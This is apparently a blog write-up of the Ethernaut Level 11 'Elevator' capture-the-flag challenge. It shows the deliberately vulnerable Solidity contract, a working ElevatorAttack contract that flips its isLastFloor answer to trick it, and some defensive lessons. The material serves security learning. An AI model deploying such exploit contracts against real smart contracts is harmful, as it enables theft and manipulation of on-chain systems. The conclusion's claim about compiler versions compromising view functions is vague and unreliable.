Ethernaut challenges, comparable to a Web3-themed hacking Capture The Flag (CTF) competition, offer a dynamic environment for diving into Ethereum and Solidity programming. Each level introduces a distinct smart contract puzzle, designed to test your abilities in pinpointing and exploiting flaws.
As a full-stack software engineer diving into blockchain technology, these challenges act as valuable learning experiences to grasp the intricacies of smart contract vulnerabilities. Every level deepens our understanding of blockchain security, thus improving our skills in building decentralized applications. In this blog post, we’ll explore Ethernaut Level 11, where we decode the complexities of Solidity smart contracts and learn how to circumvent security measures.
In this Ethernaut challenge we get the following simple contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint256) external returns (bool);
}
contract Elevator {
bool public top;
uint256 public floor;
function goTo(uint256 _floor) public {
Building building = Building(msg.sender);
if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
The Building
interface defines a function isLastFloor
that returns whether a given floor is the last one. The Elevator
contract’s goTo
function calls isLastFloor
on an external Building
contract to check if a floor is the last floor. If the floor is not the last, it updates the elevator’s current floor and checks again to update its top floor status.
We get the following help, to beat this level:
“This elevator won’t let you reach the top of your building. Right?
Things that might help:
- Sometimes solidity is not good at keeping promises.
- This
Elevator
expects to be used from aBuilding
.”
The goTo
function in the Elevator
contract relies on the external Building
contract’s isLastFloor
function to determine whether the specified floor is the top floor. If the Building
contract is implemented in a way that always returns false
for isLastFloor
, the Elevator
contract will never recognize any floor as the top floor (top
will never be set to true
), effectively preventing the elevator from reaching what it believes to be the top of the building.
How to Exploit
By alternating the return value of isLastFloor
, another contract can trick the Elevator
contract into believing it has reached the top floor when it sets the floor to the desired value. This can bypass the intended logic of the Elevator
contract, which relies on an honest isLastFloor
implementation to function correctly.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './Elevator.sol';
contract ElevatorAttack {
bool public pwn = true;
Elevator public target;
constructor (address _targetAddress) {
target = Elevator(_targetAddress);
}
function isLastFloor(uint)public returns (bool){
pwn = !pwn;
return pwn;
}
function setTop(uint _floor) public {
target.goTo(_floor);
}
}
- When
setTop
is called, it invokes thegoTo
function of theElevator
contract with_floor
as an argument. - The
Elevator
contract then callsisLastFloor(_floor)
on themsg.sender
, which is theElevatorAttack
contract. - On the first call to
isLastFloor
,pwn
flips tofalse
and returnsfalse
, making theElevator
contract set itsfloor
to_floor
. - The
Elevator
contract then callsisLastFloor
again to updatetop
. - On the second call,
pwn
flips totrue
and returnstrue
, making theElevator
contract settop
totrue
.
Conclusion
Interfaces do not guarantee contract security: Just because another contract uses the same interface doesn’t mean it will behave as expected.
Be cautious with contract inheritance: Inheriting contracts that extend from interfaces can introduce security risks due to information obscurity, making each layer potentially less secure.
Check your compiler version: Be aware of the compiler version you’re using or inheriting from; view and pure functions might be compromised without your knowledge.
Additional reading:
https://ethereum.org/en/developers/docs/smart-contracts/composability
https://docs.soliditylang.org/en/develop/contracts.html#view-functions
FAQs
How do I start solving Ethernaut challenges?
- Visit Ethernaut and connect your Ethereum wallet.
How do I use Remix IDE for Ethernaut challenges?
- Open Remix IDE, create a new file, paste the contract code, compile, deploy, and interact with it using MetaMask.
Where can I find Ethereum and Solidity documentation?
How do I deploy contracts on a test network?
- Compile and deploy
Elevator.sol
andElevatorAttack.sol
using Remix IDE and MetaMask.
What are essential Solidity concepts for this challenge?
- Interfaces, external calls, state variables, function modifiers.